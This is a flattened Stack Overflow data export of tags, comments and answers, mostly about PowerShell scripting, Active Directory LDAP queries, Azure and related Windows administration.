tags question: http://stackoverflow.com/q/79258847
tags question: http://stackoverflow.com/q/79277893
tags question: http://stackoverflow.com/q/79299022
tags question: http://stackoverflow.com/q/79392047
tags question: http://stackoverflow.com/q/79279210
tags question: http://stackoverflow.com/q/79543263
tags question: http://stackoverflow.com/q/79458483
tags question: http://stackoverflow.com/q/79471099
tags question: http://stackoverflow.com/q/79487779

http://stackoverflow.com/comment/139657104
type: Comment
comment on: http://stackoverflow.com/a/79196055
score: 0
type: AnswerComment
has text: Thank you, I don't know much about PS and made this script out of need, I'm more familiar with bash (no expert) so I just cooked something without an extensive knowledge of the available options. Your version works on older versions too since it does not rely on `-CommandWithArgs`.

http://stackoverflow.com/comment/139648401
type: Comment
comment on: http://stackoverflow.com/a/79194293
score: 0
has text: A few of your comments may be answering my question, but I gotta do more research it looks. The documentation doesn't quickly identify the "class" of a command on the official website, seems like. They're all just grouped together.
type: AnswerComment

http://stackoverflow.com/a/79201871
answers question: http://stackoverflow.com/q/79201860
upvote count: 1
has comment: http://stackoverflow.com/comment/139666606
score: 1
has comment: http://stackoverflow.com/comment/139666614
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/79201860
has comment: http://stackoverflow.com/comment/139666608
downvote count: 0
has body: It's much easier and more efficient if you use LDAP to get your users instead of filtering client side: $groupToInclude = (Get-ADGroup groupToInclude).DistinguishedName $groupToExclude = (Get-ADGroup groupToExclude).DistinguishedName $getADUserSplat = @{ LDAPFilter = &quot;(&amp;(memberOf=$groupToInclude)(!memberOf=$groupToExclude))&quot; SearchBase = 'OU=Developers,OU=Everyone,DC=Organization,DC=com' } # All users in OU `Developers` that are a member of `$groupToInclude` # AND NOT a member of `$groupToExclude` Get-ADUser @getADUserSplat If you need to get users that are a member of $groupToInclude and not member of $groupToExclude recursively you just need to add the LDAP_MATCHING_RULE_IN_CHAIN operator to your clauses: &quot;(&amp;(memberOf:1.2.840.113556.1.4.1941:=$groupToInclude)(!memberOf:1.2.840.113556.1.4.1941:=$groupToExclude))&quot; If you wanted to filter client side, which again, is much more inefficient, you could've done: $groupToInclude = (Get-ADGroup groupToInclude).DistinguishedName $groupToExclude = (Get-ADGroup groupToExclude).DistinguishedName $getADUserSplat = @{ Filter = '*' SearchBase = 'OU=Developers,OU=Everyone,DC=Organization,DC=com' Properties = 'MemberOf' } Get-ADUser @getADUserSplat | Where-Object { $_.MemberOf -notcontains $groupToExclude -and $_.MemberOf -contains $groupToInclude }
type: Answer

webview2
type: Tag
tag name: webview2
tags question: http://stackoverflow.com/q/79136730
tags question: http://stackoverflow.com/q/79322475

http://stackoverflow.com/comment/139594679
score: 0
type: AnswerComment
has text: Will you be able to retrieve the secrets that will expire in 7 days?
comment on: http://stackoverflow.com/a/79162213
type: Comment

http://stackoverflow.com/comment/139738894
type: Comment
has text: @theillien, but even then you're better off with `Out-Host` (for anything other than instance of .NET primitive types, i.e. strings and numbers, loosely speaking).
score: 1
comment on: http://stackoverflow.com/a/79228637
type: AnswerComment

http://stackoverflow.com/comment/139738520
type: Comment
has text: @ScholarlySquire the code you're currently trying __is not__ the one suggested in my answer.
score: 0
comment on: http://stackoverflow.com/a/79238148
type: AnswerComment

http://stackoverflow.com/a/79175810
has body: You can fix this simply by replacing the "*" with a "." at the end of apple. This is what I ran: $spl = '(apple.)' 'This apple for you','This apples for you' | % {$_ -split $spl} This is because what you had "e*" would just check for any following "e". E.g. it would accept "appleeee" not any other character. Whereas "e." finds any character proceeding the "e" EXCEPT for newlines. E.g. "apples" "apple"
downvote count: 1
type: Answer
answers question: http://stackoverflow.com/q/79175787
score: -1
upvote count: 0

http://stackoverflow.com/comment/139627824
type: QuestionComment
comment on: http://stackoverflow.com/q/79179274
type: Comment
score: 0
has text: My account is a member of 'Domain Admins' which is a member of 'BUILTIN\Administrators' which has explicit read permission to the container in question. I can't say whether the issue is with the PowerShell command or the underlying .Net functions but it shouldn't be a permissions issue as even running the Get-ACL command as 'NT AUTHORITY\SYSTEM' which the ACL rules indicate is the owner and has full access to the container I am getting the does not exist error. I am just going to use dsacls with some ugly regex to validate permissions and open a ticket with MS to fix the command.

http://stackoverflow.com/comment/139660277
type: Comment
has text: This works well thanks. I was also able to pull all SKUs globally using `https://management.azure.com/subscriptions/{subscription-id}/providers/Microsoft.Compute/skus?api-version=2021-07-01`. This was a helpful call as well since according to the docs https://learn.microsoft.com/en-us/azure/confidential-computing/confidential-vm-overview#size-support NVIDIA SKUs are supported as well, I just did not see them with the `$filter=location eq 'westus'`.
comment on: http://stackoverflow.com/a/79194230
score: 1
type: AnswerComment

http://stackoverflow.com/comment/139679915
comment on: http://stackoverflow.com/q/79211810
type: QuestionComment
type: Comment
has text: **[1]** Using `-Filter` is much more efficient that `-Include`. **[2]** You loop over the docs with `foreach($doc in $docs)`, but inside the loop you are trying to load the file using `$_.FullName`. (`$_` would only represent the file when looping with `$docs | Foreach-Object`; in your loop you need to use `$doc.FullName`) **[3]** To find the hyperlinks in a Word document, you need to loop over the `$doc.Hyperlinks`collection where each of these objects would have an `Address` property.
score: 1

http://stackoverflow.com/comment/139508785
type: QuestionComment
has text: How would that resolve the "directory object not found" error?
type: Comment
comment on: http://stackoverflow.com/q/79100351
score: 0

gitlab
tags question: http://stackoverflow.com/q/79120662
type: Tag
tag name: gitlab

http://stackoverflow.com/comment/139618374
type: Comment
score: 0
has text: @sirtao It's actually correct to call it "a literal path" too - adjective vs. noun - I blame English ^_^
comment on: http://stackoverflow.com/a/79174200
type: AnswerComment

http://stackoverflow.com/comment/139619706
has text: You're using `Send` which requires a connected socket. You probably want to be using `SendTo`.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79178285
score: 0

typeinitializationexception
tags question: http://stackoverflow.com/q/79128284
type: Tag
tag name: typeinitializationexception

.net
tags question: http://stackoverflow.com/q/79118064
tags question: http://stackoverflow.com/q/79181031
tags question: http://stackoverflow.com/q/79074595
tags question: http://stackoverflow.com/q/79084826
type: Tag
tags question: http://stackoverflow.com/q/79195703
tags question: http://stackoverflow.com/q/79196182
tag name: .net
tags question: http://stackoverflow.com/q/79128284
tags question: http://stackoverflow.com/q/79410420
tags question: http://stackoverflow.com/q/79285255
tags question: http://stackoverflow.com/q/79396011
tags question: http://stackoverflow.com/q/79276698
tags question: http://stackoverflow.com/q/79373919
tags question: http://stackoverflow.com/q/79374134
tags question: http://stackoverflow.com/q/79379722
tags question: http://stackoverflow.com/q/79382760
tags question: http://stackoverflow.com/q/79436575
tags question: http://stackoverflow.com/q/79475706
tags question: http://stackoverflow.com/q/79506247
tags question: http://stackoverflow.com/q/79499690
tags question: http://stackoverflow.com/q/79451102
tags question: http://stackoverflow.com/q/79442428

http://stackoverflow.com/comment/139668390
comment on: http://stackoverflow.com/a/79204883
type: Comment
score: 0
has text: Excellent, this outputs directly to a string with no extra whitespace to parse.
type: AnswerComment

http://stackoverflow.com/a/79143491
type: Answer
has body: New-WebServiceProxy depends on a bunch of .NET Framework-specific APIs (notably client code in the System.Web.Services.Discovery namespace), that aren't available in newer versions of .NET - hence its absence from PowerShell 7. – Mathias R. Jessen (I have found the invoke-webrequest cmdlet should be used {in my case atleast} in replacement for the now defunct new-webserviceproxy.)
answers question: http://stackoverflow.com/q/79139534
score: 0

sccm
type: Tag
tag name: sccm
tags question: http://stackoverflow.com/q/79115944
tags question: http://stackoverflow.com/q/79413988

http://stackoverflow.com/comment/139558655
type: QuestionComment
comment on: http://stackoverflow.com/q/79145598
type: Comment
has text: Thanks for the fast reply! :) I have also tried ArgumentList "-jar", "C:\Users\myUser\Desktop\agent.jar"... . . . It still cuts in the middle somewhere.
score: 0

http://stackoverflow.com/comment/139730591
type: Comment
comment on: http://stackoverflow.com/a/79240036
score: 0
has text: _"...you the developer have full control of the runspace you created and know exactly what arguments are being passed to it..."_ I think this is where our viewpoints differ. Some code for which I am responsible I didn't write myself. Other code I did write myself but surely contains errors I have not yet corrected. Some such errors have, from time to time, led to the fatal error in my OP.
type: AnswerComment

github-actions
tags question: http://stackoverflow.com/q/79135538
tags question: http://stackoverflow.com/q/79223169
tag name: github-actions
tags question: http://stackoverflow.com/q/79151498
type: Tag
tags question: http://stackoverflow.com/q/79110614
tags question: http://stackoverflow.com/q/79187311
tags question: http://stackoverflow.com/q/79254833
tags question: http://stackoverflow.com/q/79395273
tags question: http://stackoverflow.com/q/79272156
tags question: http://stackoverflow.com/q/79278768
tags question: http://stackoverflow.com/q/79279207
tags question: http://stackoverflow.com/q/79442296
tags question: http://stackoverflow.com/q/79536835

http://stackoverflow.com/comment/139598336
score: 0
has text: Is there any way to work around it?
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79164514

hyper-v
tag name: hyper-v
tags question: http://stackoverflow.com/q/79140459
type: Tag
tags question: http://stackoverflow.com/q/79414364
tags question: http://stackoverflow.com/q/79503858

http://stackoverflow.com/comment/139483992
comment on: http://stackoverflow.com/q/79102062
type: QuestionComment
type: Comment
score: 0
has text: The policy you can set for the group in the My Groups UI

http://stackoverflow.com/comment/139730290
type: Comment
has text: _"A ScriptBlock is always bound to the runspace it was instantiated on..."_ I'm fairly confident this is not true in some cases. As far as I have been able to establish, ["...scriptblocks created via `[ScriptBlock]::Create` are not bound to a runspace until they are first invoked."](https://github.com/PowerShell/PowerShell/issues/7593#issuecomment-414865442). I suspect the same applies to `{}.Ast.GetScriptBlock()`.
comment on: http://stackoverflow.com/a/79240036
score: 0
type: AnswerComment

http://stackoverflow.com/comment/139597741
comment on: http://stackoverflow.com/q/79140459
type: QuestionComment
type: Comment
has text: You said "Transforming "Ok" string into int" which is what the parse method does. What you do does not work. You have double quotes "Ok" and you code would only work without the double quotes.
score: 0

http://stackoverflow.com/comment/139731651
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79235723
score: 0
has text: @SimonMourier sorry for not test on a pure system. i did check on a win11 24H2 vm, and the script works well. I will check it carefully to see whats the cause. Thanks for your response.

exchange-server
type: Tag
tags question: http://stackoverflow.com/q/79109509
tag name: exchange-server
tags question: http://stackoverflow.com/q/79391387
tags question: http://stackoverflow.com/q/79372408
tags question: http://stackoverflow.com/q/79458406
tags question: http://stackoverflow.com/q/79536968

azure-policy
tag name: azure-policy
type: Tag
tags question: http://stackoverflow.com/q/79212736
tags question: http://stackoverflow.com/q/79322753

http://stackoverflow.com/comment/139722991
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/79232052
type: Comment
has text: it's probably this one: Computer Configuration `-Administrative Templates `-Windows Components `-Windows PowerShell -> Turn on Script Execution or this one: User Configuration `-Administrative Templates `-Windows Components `-Windows PowerShell -> Turn on Script Execution I found them here https://stackoverflow.com/questions/27753917/how-do-you-successfully-change-execution-policy-and-enable-execution-of-powershe

clock
tags question: http://stackoverflow.com/q/79141597
type: Tag
tag name: clock

http://stackoverflow.com/comment/139533078
score: 1
comment on: http://stackoverflow.com/a/79131379
type: AnswerComment
has text: Thank you. Something so simple -- a missing `\\` <sigh>. It's working now (except for having to deal with the UAC dialog). Is there any way to avoid dealing with that?
type: Comment

http://stackoverflow.com/comment/139648358
score: 0
comment on: http://stackoverflow.com/q/79194279
type: QuestionComment
type: Comment
has text: what is `mklink` ? again, even after your update, my answer is explaining the issue. `move` is also an alias not a function. instead of updating the question changing the premise of the initial question, ask a new one...

gpg-agent
tags question: http://stackoverflow.com/q/79111405
type: Tag
tag name: gpg-agent

http://stackoverflow.com/comment/139532993
score: 0
comment on: http://stackoverflow.com/q/79131331
type: QuestionComment
type: Comment
has text: Theoretically, office apps can be restricted to run smth. with elevated rights to prevent virus attacks.

http://stackoverflow.com/comment/139599186
score: 0
has text: If the file contains a zero byte then it's not legal (well-formed) XML. It may well be an encoding error - the file says it's UTF-8, so it's going to be read as UTF-8, but perhaps it's actually UTF-16, in which case it will contain zero bytes.
type: QuestionComment
comment on: http://stackoverflow.com/q/79166949
type: Comment

http://stackoverflow.com/a/79205861
answers question: http://stackoverflow.com/q/79205845
type: AcceptedAnswer
score: 2
accepted answer of: http://stackoverflow.com/q/79205845
downvote count: 0
type: Answer
upvote count: 2
has body: Perhaps something like this, find all nodes with Attribute Name equal to level and from there look for their next sibling to get the direction value, so: $xml = [xml]::new() $xml.Load('path\to\theXML.xml') $xml.SelectNodes(&quot;//*[@Name='level']&quot;) | ForEach-Object { [pscustomobject]@{ Level = $_.Value Direction = $_.NextSibling.Value } } This would produce this output using the sample XML: Level Direction ----- --------- X left Y right Z left Another approach a bit more hacky, this would produce array of strings instead of objects: $i = $true $xml.SelectNodes(&quot;//*[@Name='level' or @Name='direction']&quot;).Value | ForEach-Object { if ($i = -not $i) { &quot;$prev, $_&quot; }; $prev = $_ } # X, left # Y, right # Z, left

http://stackoverflow.com/comment/139707090
comment on: http://stackoverflow.com/q/79208164
type: QuestionComment
type: Comment
has text: @GibranShah Glad to see you found an answer. The prompt function runs each time a command ends and the terminal returns to the prompt, hence it would re-set your title AFTER each command. Seeing as you need the title set WHILE npm is running, I agree this isn't a good solution here.
score: 0

azure-durable-functions
tag name: azure-durable-functions
type: Tag
tags question: http://stackoverflow.com/q/79199384

http://stackoverflow.com/comment/139726655
type: QuestionComment
comment on: http://stackoverflow.com/q/79237732
has text: @user32882 PowerShell is entirely the wrong language if strict typing is of importance to you
type: Comment
score: 1

http://stackoverflow.com/comment/139624640
type: QuestionComment
type: Comment
has text: "*its literally thousands of files*" ***that*** is your **Windows issue**. Anyways, I bet you will get more performance if you use the [latest PowerShell](https://github.com/PowerShell/PowerShell) (and .net) version. Besides, I suspect that there isn't any performance advantage here where you [wrap cmdlets](https://learn.microsoft.com/powershell/scripting/dev-cross-plat/performance/script-authoring-considerations#avoid-wrapping-cmdlet-pipelines) as `New-Object` which has some performance disadvantages (see: https://github.com/MicrosoftDocs/PowerShell-Docs/issues/11491).
comment on: http://stackoverflow.com/q/79181031
score: 0

http://stackoverflow.com/comment/139621076
type: Comment
score: 0
comment on: http://stackoverflow.com/a/79177773
has text: And what would you loop over? Also, your code returns only the _horizontal_ resolution. The equivalent of your - incomplete - solution is much more simply available via the OP's chosen technology, WinForms: `[System.Windows.Forms.Screen]::PrimaryScreen.Bounds` and the complete solution can be based on `[System.Windows.Forms.Screen]::AllScreens.Bounds`
type: AnswerComment

scriptblock
tag name: scriptblock
tags question: http://stackoverflow.com/q/79239933
type: Tag
tags question: http://stackoverflow.com/q/79256553
tags question: http://stackoverflow.com/q/79275748
tags question: http://stackoverflow.com/q/79304187
tags question: http://stackoverflow.com/q/79447245

date
tags question: http://stackoverflow.com/q/79174170
type: Tag
tag name: date

azure-container-apps
tags question: http://stackoverflow.com/q/79208253
type: Tag
tag name: azure-container-apps

http://stackoverflow.com/comment/139633607
has text: Note that v7.1 of [_PowerShell (Core) 7_](https://github.com/PowerShell/PowerShell/blob/master/README.md) is [no longer supported](https://learn.microsoft.com/en-us/powershell/scripting/install/powershell-support-lifecycle#powershell-end-of-support-dates); as of this writing, the only supported version is *v7.4* (which is also an LTS version; v7.5 is upcoming).
comment on: http://stackoverflow.com/q/79185049
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/comment/139484930
type: AnswerComment
score: 1
has text: @mklement0 Thanks. Didn't think that would work but it does, nice!
type: Comment
comment on: http://stackoverflow.com/a/79095515

http://stackoverflow.com/comment/139661851
type: Comment
comment on: http://stackoverflow.com/a/79201672
has text: _It seems that this constraint - which isn't currently documented - is imposed by PowerShell, not by the underlying .NET type implementing the C# compiler..._ Did you come across a demonstration of that .NET type referencing in-memory assemblies? If that already works then I'm definitely inspired to open an issue in the PowerShell github repo since it would be within control of that project to implement. It would also suggest we could experiment with this sort of thing by interacting directly with the .NET type implementing the compiler.
score: 0
type: AnswerComment

http://stackoverflow.com/comment/139511093
type: QuestionComment
type: Comment
score: 1
comment on: http://stackoverflow.com/q/79119453
has text: You're comparing apples to oranges. `PSCommand` is part of the `PowerShell` class. `PSCommand` isn't a class you will be manually instantiating, it's already instantiated in the `.Commands` property of `PowerShell` instance.

dacpac
type: Tag
tag name: dacpac
tags question: http://stackoverflow.com/q/79224704

shutdown
type: Tag
tags question: http://stackoverflow.com/q/79230965
tag name: shutdown

http://stackoverflow.com/a/79095384
has body: I assume you use WinSCP script in Task Scheduler. To disable transfer using temporary file name altogether, add -resumesupport=off to your get command, like: "get -resumesupport=off 92578*.jpg C:\destination\path\" ^ You might have additional problems as formatting of your batch file is at the very least incostent and probably even wrong. See https://winscp.net/eng/docs/faq_batch_file#newline_escaping
type: Answer
score: 0
answers question: http://stackoverflow.com/q/79095089

debouncing
type: Tag
tags question: http://stackoverflow.com/q/79186417
tag name: debouncing

video-codecs
tags question: http://stackoverflow.com/q/79183054
tag name: video-codecs
type: Tag

http://stackoverflow.com/comment/139553878
type: Comment
score: 0
has text: I also try to query that API from a different platform and get a 404 error if I do not include the "Headers", and the expected result if I do. The same thing happens when I use ADF, I get a 404 error when I use the CLI and the headers values do not show, and a the expected result if I edit the LinkedService manually and add the "Headers". This makes me think it is the same problem
type: AnswerComment
comment on: http://stackoverflow.com/a/79102833

http://stackoverflow.com/comment/139550644
type: Comment
score: 0
has text: rem Switch default input language en->ru->en CALL powershell -command "Set-WinUserLanguageList -LanguageList ru-RU, en-US, uk-UA -Force" CALL timeout /t 1 CALL powershell -command "Set-WinUserLanguageList -LanguageList en-US, ru-RU, uk-UA -Force"
type: AnswerComment
comment on: http://stackoverflow.com/a/79138694

http://stackoverflow.com/comment/139539746
has text: It looks like the issue was with the Get-ADObject. You had options -SearchBase and -Properties that did not return any results.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79100351
score: 0

http://stackoverflow.com/comment/139638986
has text: I'm unsure why you're using `MaskedTextBox` at all - it's intended for fixed-length, fixed-format text strings, not numeric values - for that you'd use `NumericUpDown` (which allows for direct input with formatting, and you can hide the up/down spinner buttons too, if you like).
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79189079
score: 3

http://stackoverflow.com/comment/139446971
type: QuestionComment
type: Comment
has text: `'2>&1'` shouldn't be quoted
comment on: http://stackoverflow.com/q/79084361
score: 0

http://stackoverflow.com/comment/139713714
type: Comment
comment on: http://stackoverflow.com/a/79230278
score: 0
has text: The above PS script and the PS script shared by me only works when we have single subscription but if we want to parse the keys, secrets, and certificates from multiple key vaults from multiple subscriptions I think we need to modify the PS script. @Sridevi
type: AnswerComment

gitlab-ci
tag name: gitlab-ci
type: Tag
tags question: http://stackoverflow.com/q/79120662
tags question: http://stackoverflow.com/q/79234580
tags question: http://stackoverflow.com/q/79148904
tags question: http://stackoverflow.com/q/79268940
tags question: http://stackoverflow.com/q/79508893

http://stackoverflow.com/comment/139658463
type: Comment
has text: My profile.ps1 has nothing, commented all...Check this https://i.imgur.com/kXGK24R.png
score: 0
comment on: http://stackoverflow.com/a/79199716
type: AnswerComment

http://stackoverflow.com/comment/139671163
has text: The PowerShell script has accessed the JSON file and created a script log file on the VM. Let me know if it's helpful, and I will post the answer in detail
comment on: http://stackoverflow.com/q/79206642
score: 0
type: QuestionComment
type: Comment

background-color
tags question: http://stackoverflow.com/q/79208376
tag name: background-color
type: Tag

http://stackoverflow.com/comment/139609789
has text: I don't that `CommandA` (or rhe suggested `PrefetchPipeline`) cmdlet has any knowledge of the idle state of `CommandB`. But as the `CommandB` is appearently the bottleneck, I would put the suggest buffer logic in the procces block of `CommandB`.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79172648
score: 0

http://stackoverflow.com/comment/139685526
type: QuestionComment
type: Comment
has text: @MathiasR.Jessen Added the call to ExecuteScalar.
comment on: http://stackoverflow.com/q/79214246
score: 0

http://stackoverflow.com/comment/139521034
has text: This is what the tag holds: PI 18|not done|Dependency on another internal feature; PI 22 candidate When I do $Tag.GetType(), I get this: System.Object This return false ($tag -Contains "PI 18") This return true ($tag.Contains("PI 18")) This return true ($tag -match "PI 18")
type: QuestionComment
comment on: http://stackoverflow.com/q/79122136
type: Comment
score: 0

http://stackoverflow.com/a/79072656
has body: The automatic $Matches variable is a hashtable of matched values. Use indexes to access elements. Index 0 contains entire match and other matches are from left to right. Update your code with something like this: $user = $Matches[1].Trim() $hostName = $Matches[2].Trim() $printer = $Matches[3].Trim() $port = $Matches[4].Trim() $pagesPrinted = $Matches[5].Trim() See this for more info about regular expressions in Powershell.
downvote count: 0
has comment: http://stackoverflow.com/comment/139442693
type: Answer
score: 3
answers question: http://stackoverflow.com/q/79072635
upvote count: 3

http://stackoverflow.com/comment/139558641
has text: if you do `"-jar C:\Users\myUser\Desktop\agent.jar"` instead of `"-jar", "C:\Users\myUser\Desktop\agent.jar"` it's seen as a single argument instead of as a parameter and an argument if that makes sense
type: QuestionComment
comment on: http://stackoverflow.com/q/79145598
type: Comment
score: 2

http://stackoverflow.com/a/79075499
score: 1
upvote count: 1
has body: As suggested in System.DirectoryServices.Protocols Paged get all users code suddenly stopped getting more than the first page of users, explicitly passing [System.DirectoryServices.Protocols.SearchOption]::DomainScope along with the search request might resolve whatever underlying issue occurs here. using namespace System.DirectoryServices.Protocols # ... # construct the search request just like you currently are $searchBaseDN = 'DC=ldap,DC=com' $attributesToFetch = @( 'cn' 'info' 'description' ) $searchRequest = [SearchRequest]::new($searchBaseDN, $ldapFilter, "Subtree", $attributesToFetch) # add the page control, same as now $pageControl = [PageResultRequestControl]@{ PageSize = $pageSize } [void]$searchRequest.Controls.Add($pageControl) # ... and then additionally add an explicit search option control $searchOptionsControl = [SearchOptionsControl]@{ SearchOption = 'DomainScope' } [void]$searchRequest.Controls.Add($searchOptionsControl) Note: I've rewritten the sample code slightly, taking advantage of the using namespace ... directive to shorten the type names. For PowerShell versions lower than 5.0 you would still need to use New-Object System.DirectoryServices.Protocols.SearchRequest ... instead of [SearchRequest]::new(...) for object instantiation.
answers question: http://stackoverflow.com/q/79074308
downvote count: 0
type: Answer

amazon-web-services
tag name: amazon-web-services
tags question: http://stackoverflow.com/q/79081337
type: Tag
tags question: http://stackoverflow.com/q/79514395
tags question: http://stackoverflow.com/q/79534684
tags question: http://stackoverflow.com/q/79427478

http://stackoverflow.com/comment/139532292
type: QuestionComment
comment on: http://stackoverflow.com/q/79130831
has text: Use `-Scope CurrentUser` instead of `-Scope Process` in order to set the execution policy _persistently_.
type: Comment
score: 0

http://stackoverflow.com/comment/139627934
type: Comment
has text: Glad to hear it, @TonyWilliams; my pleasure.
comment on: http://stackoverflow.com/a/79181472
score: 0
type: AnswerComment

http://stackoverflow.com/comment/139476620
type: Comment
score: 1
has text: Glad to hear the answer helped, @not2qubit. As far as I can tell, there's no significant performance difference between the two, which you can verify as follows: `$str = 'x' * 1e5; Time-Command @({ [byte[]] [char[]] $str }; { [byte[]] $str.ToCharArray() })` - repeated invocations show very similar performance, with either approach incidentally being slightly faster, unpredictably. You can download function `Time-Command` from [this Gist](https://gist.github.com/mklement0/9e1f13978620b09ab2d15da5535d1b27) to run these benchmarks.
comment on: http://stackoverflow.com/a/79099422
type: AnswerComment

http://stackoverflow.com/comment/139661912
score: 0
comment on: http://stackoverflow.com/q/79195703
type: QuestionComment
type: Comment
has text: Raw C# can do that in memory. Not sure how you would translate that to powershell though.

http://stackoverflow.com/comment/139503564
type: AnswerComment
comment on: http://stackoverflow.com/a/79115035
type: Comment
has text: @not2qubit glad it helped and yes, p/invoke is not an easy topic especially if you don't have a good base on c# and .net
score: 0

http://stackoverflow.com/a/79137533
downvote count: 0
type: Answer
answers question: http://stackoverflow.com/q/79137517
score: 1
has body: You've declared the $sql parameter an array of MySqlCommand objects, and arrays don't have a CommandText property - use a loop statement or ForEach-Object to update the command text on each individual command in the array: if($writeLogMethod -eq 'sql'){ foreach ($cmd in $sql) { $cmd.CommandText = "INSERT INTO `log_test` (`logdate`, `logtext`, `lognumber`) VALUES (NOW(), '" + $output + "', '-2');" $cmd.ExecuteNonQuery() } } If you meant to only accept one command object at a time, change the parameter declaration from: [MySql.Data.MySqlClient.MySqlCommand[]]$sql to [MySql.Data.MySqlClient.MySqlCommand]$sql
upvote count: 1

http://stackoverflow.com/comment/139641330
type: QuestionComment
type: Comment
has text: The [notes here](https://stackoverflow.com/a/62552662/7444103) can be useful. The mask definition in the question has ~the opposite functionality, though, but the properties described are the same. As mentioned, you can most probably make use of the NumericUpDown Control instead, if the masked text has no specific meaning, i.e., it's just numeric input
comment on: http://stackoverflow.com/q/79189079
score: 0

http://stackoverflow.com/comment/139607988
type: QuestionComment
comment on: http://stackoverflow.com/q/79171856
type: Comment
has text: https://superuser.com/q/228680/53953 Not sure why you need a list of those extensions, though. Try to launch the file, and handle the error if it isn't executable. This prevents you having to maintain a list that can change over time.
score: 1

http://stackoverflow.com/comment/139524308
type: QuestionComment
type: Comment
score: 0
has text: I've managed to partially work around this mess since, but it got more messy, using a combination of `begin {} process {} end {}` and wasting time with incomprehensible variables like `$input` (where values disappear when used, and thus also not able to copy), and added to `$_` which also populates after each use of `$input`. Here we have grand example of the shortcomings of powershell. Taking 2 days, to do something trivial like passing and piping variables, which is trivially implemented in just about every other language I know.
comment on: http://stackoverflow.com/q/79124278

http://stackoverflow.com/comment/139651393
has text: No, the (C#) compiler won't have access to in-memory modules, you'll need to compile them at the same time, or rely on c.dll for storing the first one on disk (d.dll shouldn't be necessary here though)
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79195703
score: 2

http://stackoverflow.com/comment/139723161
type: QuestionComment
type: Comment
score: 0
has text: Does it also fail if instead you use `$o.Namespace('c:\My Folder').Self.Verbs() | ? Name -EQ 'Pin to Quick access' | % DoIt` ?
comment on: http://stackoverflow.com/q/79165242

asynchronous
tags question: http://stackoverflow.com/q/79172648
tag name: asynchronous
type: Tag

azure-functions
tag name: azure-functions
tags question: http://stackoverflow.com/q/79199384
type: Tag
tags question: http://stackoverflow.com/q/79136057
tags question: http://stackoverflow.com/q/79181232
tags question: http://stackoverflow.com/q/79193052
tags question: http://stackoverflow.com/q/79333188
tags question: http://stackoverflow.com/q/79431800
tags question: http://stackoverflow.com/q/79537105
tags question: http://stackoverflow.com/q/79430633

http://stackoverflow.com/a/79167412
answers question: http://stackoverflow.com/q/79136438
type: Answer
has body: Not sure how to adjust this in PowerShell, but for the scheduled task, you need to choose "Run whether user is logged on or not", which will ask for credentials.
score: 0

http://stackoverflow.com/comment/139699454
type: QuestionComment
comment on: http://stackoverflow.com/q/79202910
type: Comment
has text: I will do, thank you
score: 0

http://stackoverflow.com/a/79182902
has body: Another take on my previous answer that also uses ProcessEx Module, this version allows to create a de-elevated PSSession that, you can later on, use with Invoke-Command. The downside of this answer is that PSSession.Create wasn't public in older PowerShell versions, in other words, this answer is only compatible with PowerShell 7.3+. function New-PSSessionEx { param( [ValidateSet('pwsh', 'powershell')] [string] $Shell = 'powershell' ) $id = (Get-Process -Id $pid).SessionId $explorer = Get-Process -Name explorer | Where-Object SessionId -EQ $id $si = New-StartupInfo -ParentProcess $explorer -WindowStyle Hide $proc = Start-ProcessEx $Shell -StartupInfo $si -CreationFlags NewConsole -PassThru $pipe = [System.Management.Automation.Runspaces.NamedPipeConnectionInfo]::new($proc.Id) $rs = [runspacefactory]::CreateRunspace($pipe) $rs.Open() $registerObjectEventSplat = @{ InputObject = $rs EventName = 'StateChanged' MessageData = $proc.Id Action = { if ($EventArgs.RunspaceStateInfo.State -in @('Broken', 'Closed')) { Unregister-Event -SourceIdentifier $EventSubscriber.SourceIdentifier Stop-Process -Id $Event.MessageData -Force } } } $null = Register-ObjectEvent @registerObjectEventSplat [System.Management.Automation.Runspaces.PSSession]::Create( $rs, [guid]::NewGuid(), $null) } Then you can use it with Invoke-Command: $session = New-PSSessionEx Invoke-Command -Session $session -ScriptBlock { 'hi, i run de-elevated' } $session | Remove-PSSession
answers question: http://stackoverflow.com/q/79179722
type: Answer
score: 0

http://stackoverflow.com/comment/139432798
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79076344
score: 1
has text: The remote is running 5.1.

rust
tag name: rust
tags question: http://stackoverflow.com/q/79077628
type: Tag

http://stackoverflow.com/comment/139637148
score: 1
has text: Have you tried simply running `Write-Output $returnedValue` afterwards?
comment on: http://stackoverflow.com/q/79187932
type: QuestionComment
type: Comment

jmeter
tags question: http://stackoverflow.com/q/79087081
tag name: jmeter
type: Tag

http://stackoverflow.com/comment/139473914
type: QuestionComment
type: Comment
has text: Hello, I am using the PowerShell CLI on the portal.azure.com website. The version details can be found below: { "azure-cli": "2.65.0", "azure-cli-core": "2.65.0", "azure-cli-telemetry": "1.1.0", "extensions": { "ai-examples": "0.2.5", "ml": "2.30.1", "ssh": "2.0.5" } } Thanks
score: 0
comment on: http://stackoverflow.com/q/79091839

http://stackoverflow.com/comment/139432908
score: 0
has text: If the remote target machine doesn't have PowerShell 7 installed or doesn't have remoting enabled for it: see user459872's answer for a solution that works in Windows PowerShell too.
comment on: http://stackoverflow.com/q/79076344
type: QuestionComment
type: Comment

oh-my-posh
type: Tag
tags question: http://stackoverflow.com/q/79215078
tag name: oh-my-posh
tags question: http://stackoverflow.com/q/79534804

http://stackoverflow.com/comment/139483970
score: 1
has text: As for the errors, they are coming from your application `PG_epos_backup`, which we know nothing about. Do you, perhaps, means `--study_name`? Tokens can't have underscores (`_`). I suggest checking the application's documentation.
type: QuestionComment
comment on: http://stackoverflow.com/q/79104448
type: Comment

remote-desktop
type: Tag
tags question: http://stackoverflow.com/q/79164514
tag name: remote-desktop

http://stackoverflow.com/comment/139718272
type: AnswerComment
comment on: http://stackoverflow.com/a/79227179
has text: Thank you for the answer and the advice. I will have a look at the links that you send me.
type: Comment
score: 0

http://stackoverflow.com/comment/139560588
type: Comment
